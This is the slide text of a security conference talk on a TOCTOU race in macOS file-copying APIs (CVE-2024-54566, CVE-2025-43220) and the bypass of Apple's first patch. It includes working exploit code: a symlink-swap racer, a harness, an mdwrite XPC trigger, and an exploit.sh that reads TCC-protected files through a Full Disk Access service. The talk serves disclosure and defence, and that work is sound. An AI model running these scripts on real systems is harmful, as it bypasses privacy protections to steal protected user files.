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About Me
Mickey Jin (@patch1t)

• Mainly focus on Apple Product Security (Vulnerability hunter)

• 270+ CVEs from Apple


• Independent Security Researcher (Work for myself)

• Love reversing and debugging

• Speaker of HITB/PoC/OBTS

https://jhftss.github.io/cvelist/


Outline
In this talk

Discovery of the vulnerability 

PoC (Reproduce in a debugger first)

Exploit (Demo)

Apple’s patches (CVE-2024-54566 and CVE-2025-43220)

Takeaways



How do you copy a file on 
macOS?



`cp /path/to/src /path/to/dst` ? 



How do Apple developers copy a 
file?



Copy a file
Manually?

1. Open the src file


2. Open the dst file


3. Read from the src file


4. Write to the dst file


5. Close the src file


6. Close the dst file

Only the file’s data is copied, but the file’s metadata (ACL, xattr, …) is lost.



Copy a file
Via APIs

• copyfile()


• clonefile()


• NSFileManager


• - (BOOL) copyItemAtURL:(NSURL *) srcURL toURL:(NSURL *) dstURL error:
(NSError **) error;


• - (BOOL) copyItemAtPath:(NSString *) srcPath toPath:(NSString *) dstPath 
error:(NSError **) error;


• …



Copy a file
Via c-API: copyfile()

    /* Initialize a state variable */ 
    copyfile_state_t s = copyfile_state_alloc(); 
    /* Copy all the data and meta data of one file to another */ 
    copyfile("/tmp/src", “/tmp/dst", s, COPYFILE_ALL | COPYFILE_NOFOLLOW); 
    /* Release the state variable */ 
    copyfile_state_free(s);



Copy a file
Via syscall API: clonefile()

clonefile("/tmp/src", "/tmp/dst", CLONE_NOFOLLOW);

dst must not exist for the call to 
be successful

CoW (Copy on Write) clone



Copy a file
Via APIs

copyfile() clonefile()

Underlying mechanism Byte-by-Byte duplication CoW

Speed Slow (O(n) file size) Instant (O(1))

Initial Space Full file size Near-zero (metadata only)

Supported Filesystems All Limited (e.g., APFS)



Copy a file
Via objc-API: NSFileManager

https://developer.apple.com/documentation/foundation/filemanager/copyitem(at:to:)?language=objc 

https://developer.apple.com/documentation/foundation/filemanager/copyitem(at:to:)?language=objc


Copy a file
Via objc-API: NSFileManager

• Most commonly used by 
developers


• Designed to not follow the 
symlinks of the last path 
component


• Internally invokes the basic 
C-language API: copyfile(src, 
dst, s, 0x10e000f);



Copy a file
Importances

• Very basic file operation


• Heavily used by Apple developers in all platforms (*OS) 

• Common attack surface in privileged processes (FDA / ROOT)


• Follow the src symlink? -> Arbitrary file read primitive


• Follow the dst symlink? -> Arbitrary file write primitive



Are these basic API methods 
secure enough?



Motivation

Really? 
How does Apple handle this 

security risk?



Luckily



Investigation via the source code
copyfile()

When using NSFileManager, flags=0x10E000F 
(COPYFILE_CLONE | COPYFILE_NOFOLLOW_DST | COPYFILE_NOFOLLOW_SRC)



Investigation via the source code
copyfile()

Try clone first



Investigation via the source code
copyfile()



copyfile_open()
COPYFILE_NOFOLLOW_SRC is risky?



copyfile_open()
The TOCTOU Vulnerability (aka “Double Fetch”)

Time of Check: 
Put a regular file here

Time of Use: 
Replace with a symlink



copyfile_open()
What about COPYFILE_NOFOLLOW_DST?



PoC
How to trigger the vulnerability?

1. Force the function copyfile_clone() to fail, causing it to fall back to the 
copyfile function logic


2. Place a regular file at the src path to cheat the API “lstatx_np”


3. Replace the src with a symlink before opening the src path



PoC
Force copyfile_clone() to fail

Fail if the dst path exists



PoC
Write a test program

int main(int argc, const char * argv[]) { 
    NSLog(@"Preparing..."); 
    system("echo src > /tmp/src"); 
    system("echo target > /tmp/target"); 
    NSLog(@"Waiting for a debugger..."); 
    getchar(); 

    NSError *err = nil; 
    [[NSFileManager defaultManager]copyItemAtURL:[NSURL fileURLWithPath:@"/tmp/
src"] toURL:[NSURL fileURLWithPath:@"/tmp/dst"] error:&err]; 
    NSLog(@"copyItem return error:%@", err); 
    return 0; 
}



PoC
Reproduce the vulnerability in a debugger

test program

libcopyfile.dylib

Breakpoint 1

Breakpoint 2

rm /tmp/dst

rm /tmp/src; ln -s /tmp/target /tmp/src

touch /tmp/dst

Timeline

/tmp/dst is a regular file, content: “target”, not “src”



Exploit
Challenges

• Race 3 distinct operations


• The time window for each operation is way too narrow !!!



Exploit
Challenges

test program

libcopyfile.dylib

Breakpoint 1

Breakpoint 2

touch /tmp/dst

rm /tmp/dst

rm /tmp/src; ln -s /tmp/target /tmp/src

Timeline

Challenge 2. /tmp/dst must be removed after clonefileat fails

Challenge 1. /tmp/dst can’t be created too earlier

Challenge 3. /tmp/src must be replaced  
during line 1834~1884

/tmp/dst is a regular file, content: “target”, not “src”



Exploit
Solutions

• Challenge 1, 2 (from the dst)


• Mount to the destination directory (clonefile[at] doesn’t support cross-
volume operations)


• Challenge 3 (from the src)


• Swap the source file between a regular file and a symlink in a dead 
loop



Exploit
Probability in theory

/tmp/src

Regular file

Symlink to target

50%

50%
Swap in a dead loop 

lstatx_np()

Check

Expectation

open()
Open

Expectation

= 50% * 50%



Exploit
prepare.sh

#!/bin/bash 
echo src > /tmp/src 
echo target > /tmp/target 
mkdir /tmp/dir 
hdiutil create -size 10m -volname .exploit -ov /tmp/disk.dmg 
hdiutil attach /tmp/disk.dmg -mountpoint /tmp/dir



Exploit
racer.m

int main(int argc, const char * argv[]) { 
    if (argc != 3) { 
        NSLog(@"Usage:%s /path/to/src /path/to/target", argv[0]); 
        return -1; 
    } 
     
    symlink(argv[2], "/tmp/lnk"); 
    while (1) { // swap the src with the symlink to target 
        renamex_np(argv[1], "/tmp/lnk", RENAME_SWAP); 
    } 
     
    return 0; 
}



Exploit
test.m

int main(int argc, const char * argv[]) { 
    if (argc != 4) { 
        NSLog(@"Usage:%s /path/to/src /path/to/dst /path/to/target", argv[0]); 
        return -1; 
    } 
     
    struct stat st = {0}; 
    lstat(argv[1], &st); 
    size_t src_size = st.st_size; 
    NSLog(@"src:%s, size=%zu", argv[1], src_size); 
     
    char cmd[MAXPATHLEN]; 
    snprintf(cmd, MAXPATHLEN, "./racer \"%s\" \"%s\" &", argv[1], argv[3]); 
    NSLog(@"spawning racer with cmd: %s", cmd); 
    system(cmd); 

    id dm = [NSFileManager defaultManager]; 
    NSURL *srcURL = [NSURL fileURLWithPath:[NSString stringWithUTF8String:argv[1]]]; 
    NSURL *dstURL = [NSURL fileURLWithPath:[NSString stringWithUTF8String:argv[2]]]; 
    for (int i = 1; i != 100000; ++i) { 
        NSLog(@"retry = %d", i); 
        [dm removeItemAtURL:dstURL error:nil]; 
        [dm copyItemAtURL:srcURL toURL:dstURL error:nil]; 
        memset(&st, 0, sizeof(st)); 
        if (0 == lstat(argv[2], &st) && (st.st_mode&S_IFMT) == S_IFREG && st.st_size != src_size) { 
            NSLog(@"success!"); 
            system("pkill -9 racer"); 
            break; 
        } 
    } 
    return 0; 
}



https://youtu.be/vUeDVw8ruGA


Exploit
Find a target process

• The target process uses the vulnerable API to copy a file


• copyfile(,,, COPYFILE_NOFOLLOW);


• -[NSFileManager copyItemAt…];


• The target process is privileged


• Not sandboxed -> Read files outside of the sandbox


• Root privilege -> Circumvent file ACL to read root-exclusive files


• FDA (Full Disk Access) privilege -> Full TCC Bypass



Exploit
e.g., a potential target: mdwrite

• Mach service: "com.apple.metadata.mdwrite"


• Reachable from application sandbox


• Not restricted by sandbox


• Use the NSFileManager to copy a file.


• Signed with the FDA (Full Disk Access) entitlement!



Exploit
Reversing the XPC service: mdwrite



Exploit
Trigger the vulnerable API in mdwrite

Triggered when 
service_id=0x1002

Only file with special 
suffix name



Exploit
Reversing the XPC client: Metadata.framework



Exploit
Reversing the XPC client: Metadata.framework



Exploit
trigger.m

int main(int argc, const char * argv[]) { 
    CFUUIDRef uuid = CFUUIDCreateFromString(0, CFSTR("5C3BA52B-E672-45F9-A913-BBA48517CAEB")); 
    MDLabelRef label = MDCopyLabelWithUUID(uuid); 
    NSLog(@"label:%p", label); 
    MDLabelSetAttributes(label, (__bridge 
CFDictionaryRef)@{@"kMDLabelDisplayName":@"displayName"}); 
     
    return 0; 
}



Exploit
The file copying operation in mdwrite

SRC="${HOME}/Library/Mobile Documents.tmp/com~apple~system~spotlight/mdlabels/kind.mdlabels/Contents/Info.plist" 
DST="${HOME}/Library/Metadata/kind.mdlabels/Contents/Info.plist"

Both $SRC and $DST are controlled by an attacker:



Exploit
prepare.sh

#!/bin/bash 
…… 

cp -r /tmp/mdlabels ~/Library/Mobile\ Documents.tmp/com~apple~system~spotlight/ 

hdiutil create -size 10m -volname .exploit -ov /tmp/disk.dmg 
hdiutil attach /tmp/disk.dmg -mountpoint ~/Library/Metadata/kind.mdlabels/Contents



Exploit
exploit.sh
#!/bin/bash 
# Usage: ./exploit.sh /path/to/any-tcc-protected-file 
SRC="${HOME}/Library/Mobile Documents.tmp/com~apple~system~spotlight/mdlabels/kind.mdlabels/Contents/Info.plist" 
DST="${HOME}/Library/Metadata/kind.mdlabels/Contents/Info.plist" 

/tmp/racer "$SRC" "$1" & 
while true; do 
    echo "triggering the copyfile in mdwrite..." # copy the "Info.plist" from $SRC to $DST 
    /tmp/trigger 
     
    if [ -L "$DST" ]; then 
        echo "$DST is a symlink" 
    else 
        if [ -f "$DST" ]; then # if dst is a regular file, check the file size 
            size=$(wc -c < "$DST" 2>/dev/null) 
            if [ "$size" -ne 1 ]; then # success if dst's size is not equal to src's size 
                echo "success, we got the target at $DST!" 
                break 
            else 
                echo "$DST is the content of src, not the target" 
            fi 
        else 
            echo "$DST does not exist" 
        fi 
    fi 
     
    echo "retry..." 
    rm "$DST" 2>/dev/null 
    pkill -9 mdwrite # restart mdwrite service and trigger the copy again 
    sleep 0.1 
done

3

2

4

1



https://youtu.be/lrAUbRon0SY


Apple’s first patch
CVE-2024-54566

Waiting to be published…



Apple’s first patch
CVE-2024-54566

https://github.com/apple-oss-distributions/copyfile/commit/0ed7b920e2950ea4363f129407f1deee23c13a58#diff-7a7e2a03742b54024dd6626a0d19e4bdaab240d47de003f586e9756f06932935 

https://github.com/apple-oss-distributions/copyfile/commit/0ed7b920e2950ea4363f129407f1deee23c13a58#diff-7a7e2a03742b54024dd6626a0d19e4bdaab240d47de003f586e9756f06932935


Apple’s first patch
CVE-2024-54566

Double Check



Bypass Apple’s first patch
“Double Fetch” becomes “Triple Fetch”

First Fetch:

Second Fetch:

Third Fetch:



Exploit Again Using The Same Old Code!
Probability in theory = 50% * 50% * 50%

/tmp/src

Regular file

Symlink to target

50%

50%
Swap in a dead loop 

lstatx_np()

Check

open() Open

Expectation

Expectation

lstat()
Check

Expectation



Apple’s second patch
CVE-2025-43220



Apple’s second patch
CVE-2025-43220

Make sure the first fetch and the second fetch are the same file.



Conclusions
Takeaways (Blue Team)

• Don’t overlook the security risk due to the narrow time window


• Validate patches against TOCTOU


• Handle file copying operations with caution. Unless necessary, do not 
follow symbolic links.


• fd-based operation is better than path-based operation (open the fd safely)



Conclusions
Takeaways (Red Team)

• Escape the "Documented Behavior" Trap (e.g., “NSFileManager doesn’t 
follow symlinks” ?)


• Pay attention to all file operations in privileged processes


• Probability > Perfection (Entropy favors the attacker)


• Patch diffing reveals bypass opportunities


• The full exploit code is public: https://github.com/jhftss/POC 

https://github.com/jhftss/POC


Thanks


